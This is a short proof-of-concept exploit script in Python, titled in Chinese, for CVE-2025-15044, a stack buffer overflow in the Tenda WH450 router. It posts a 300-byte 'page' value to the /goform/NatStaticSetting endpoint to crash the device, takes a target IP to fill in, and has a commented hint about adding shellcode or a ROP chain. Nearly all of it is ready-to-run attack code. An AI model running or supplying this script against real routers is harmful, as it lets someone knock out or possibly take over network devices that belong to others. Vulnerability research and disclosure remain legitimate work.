CVE-2025-15044 Tenda WH450 栈缓冲区溢出漏洞

import requests # CVE-2025-15044 PoC - Tenda WH450 NatStaticSetting Stack Buffer Overflow # Target: Tenda WH450 Router (Firmware 1.0.0.18) # Vulnerability: Stack-based buffer overflow in /goform/NatStaticSetting via page parameter TARGET_IP = "192.168.0.1" # Change to target router IP TARGET_PORT = 80 TARGET_URL = f"http://{TARGET_IP}:{TARGET_PORT}/goform/NatStaticSetting" # Generate overflow payload - 300 bytes to overflow stack buffer # Adjust length based on actual vulnerable buffer size PAYLOAD_SIZE = 300 PADDING_CHAR = "A" payload = PADDING_CHAR * PAYLOAD_SIZE # Optional: Add shellcode or ROP chain to redirect execution # shellcode = b"\x90" * 16 + shellcode_payload # For demonstration, using simple padding to trigger overflow def exploit(): """ Exploit CVE-2025-15044 Sends malformed page parameter to trigger stack buffer overflow """ data = { "page": payload # Trigger overflow with oversized input } try: print(f"[*] Sending exploit payload to {TARGET_URL}") print(f"[*] Payload size: {len(payload)} bytes") # Send POST request response = requests.post(TARGET_URL, data=data, timeout=10) print(f"[+] Request sent") print(f"[*] Response status: {response.status_code}") except requests.exceptions.Timeout: print("[-] Request timed out - target may have crashed or is not vulnerable") except requests.exceptions.ConnectionError: print("[-] Connection failed - target may be down or not reachable") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": exploit()